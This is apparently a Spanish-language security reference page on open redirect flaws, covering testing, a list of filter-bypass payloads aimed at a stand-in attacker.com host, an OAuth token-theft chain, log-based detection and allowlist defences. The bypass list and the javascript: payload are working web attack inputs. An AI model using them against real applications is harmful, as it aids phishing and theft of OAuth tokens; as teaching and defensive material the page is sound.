the_open_door
café
ESEN
← Volver al índice

Open Redirect

Un Open Redirect aparece cuando una aplicación redirige al usuario a una URL tomada de un parámetro (?next=, ?url=, ?redirect=, ?newurl=) sin validar el destino. Por sí solo no compromete el servidor, pero es una pieza valiosa: presta la confianza del dominio legítimo a un enlace de phishing (la víctima ve el dominio bueno y acaba en el del atacante) y, encadenado, sirve para robar tokens de OAuth o para reforzar un SSRF.

La prueba es directa: sustituir el destino por un dominio externo y ver si el servidor responde con un 302 hacia él.

GET /go?newurl=https://attacker.com HTTP/1.1

Cuando hay un filtro, casi siempre es una lista negra ingenua que se sortea. Si bloquea el punto ., se aplica doble URL-encode (el servidor decodifica una capa y la validación no ve el punto, pero el redirect sí); si bloquea las barras //, se aprovecha que para dominios https el navegador no las necesita; y hay una batería de bypass clásicos por la ambigüedad del parseo de URLs:

newurl=https:%252f%252fattacker.com      # doble encode de las barras
newurl=https:attacker.com                # sin // (valido para el navegador)
newurl=//attacker.com                    # URL protocol-relative
newurl=https://trusted.com@attacker.com  # userinfo: el host real es attacker.com
newurl=https://trusted.com.attacker.com  # sufijo: dominio del atacante
newurl=https://attacker.com/trusted.com  # trusted.com en la ruta (validacion por subcadena)
newurl=https:/\attacker.com              # mezcla de barra y backslash
newurl=https://attacker.com%2f%2e%2e     # normalizacion de ruta
newurl=%09https://attacker.com           # espacios/tab de control por delante
newurl=javascript:alert(document.domain) # si el redirect es del lado cliente (DOM)

Encadenado con OAuth, un open redirect en el redirect_uri (o en el state) permite que el token/código de autorización acabe en el servidor del atacante: la víctima autoriza en el proveedor legítimo y este redirige, con el token en la URL, hacia el destino controlado.

Requisitos. La aplicación debe redirigir a un valor controlable por el usuario sin restringirlo a destinos internos. Para el bypass, el filtro debe basarse en lista negra o en una comprobación de subcadena (empieza por trusted.com, contiene trusted.com) en vez de en una validación estricta del host.

Cómo detectarlo. En el log de acceso, la firma son parámetros de redirección (url, next, redirect) apuntando a hosts externos o con codificaciones sospechosas (%252f, @, //) en el valor. Una respuesta 3xx con un Location hacia un dominio ajeno al propio es la evidencia; correlacionar con campañas de phishing cerra el caso.

Defensa. No redirigir a URLs arbitrarias: usar una lista blanca de destinos permitidos o índices que mapeen a rutas internas fijas, y validar el host completo (no una subcadena), rechazando esquemas y autoridades externas. Si hay que permitir salida externa, mostrar una página intermedia de aviso. Se relaciona con el SSRF cuando el redirect lo sigue el propio servidor.